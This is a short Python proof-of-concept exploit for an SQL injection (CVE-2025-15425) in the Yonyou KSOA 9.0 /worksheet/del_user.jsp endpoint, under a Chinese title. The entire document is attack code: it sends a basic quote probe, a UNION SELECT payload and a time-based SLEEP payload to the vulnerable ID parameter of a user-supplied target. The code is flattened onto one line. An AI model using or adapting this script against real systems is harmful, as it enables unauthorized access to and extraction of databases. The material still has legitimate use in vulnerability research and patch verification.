CVE-2025-15425: 用友KSOA 9.0 del_user.jsp SQL注入漏洞

import requests import sys # CVE-2025-15425 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /worksheet/del_user.jsp def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in Yonyou KSOA 9.0 target_url: Base URL of the vulnerable application payload: SQL injection payload to inject into the ID parameter """ params = { 'ID': payload # Vulnerable parameter } try: response = requests.get( f"{target_url}/worksheet/del_user.jsp", params=params, timeout=10 ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def basic_sqli_test(target_url): """Basic test to verify SQL injection vulnerability""" # Test with single quote to trigger SQL error payload = "'" print(f"[*] Testing basic SQL injection with payload: {payload}") response = exploit_sqli(target_url, payload) if response and response.status_code != 500: print(f"[!] Potential vulnerability detected - Status: {response.status_code}") return response def union_based_injection(target_url): """UNION-based SQL injection to extract database info""" # Determine number of columns (adjust based on target) payload = "' UNION SELECT NULL---" print(f"[*] Testing UNION-based injection: {payload}") return exploit_sqli(target_url, payload) def time_based_blind_injection(target_url): """Time-based blind SQL injection for data extraction""" # MySQL time-based injection payload payload = "' AND SLEEP(5)-- -" print(f"[*] Testing time-based blind injection: {payload}") return exploit_sqli(target_url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-15425: Yonyou KSOA SQL Injection\n") # Run basic test basic_sqli_test(target) print("\n[*] PoC demonstration complete. Apply patches immediately.")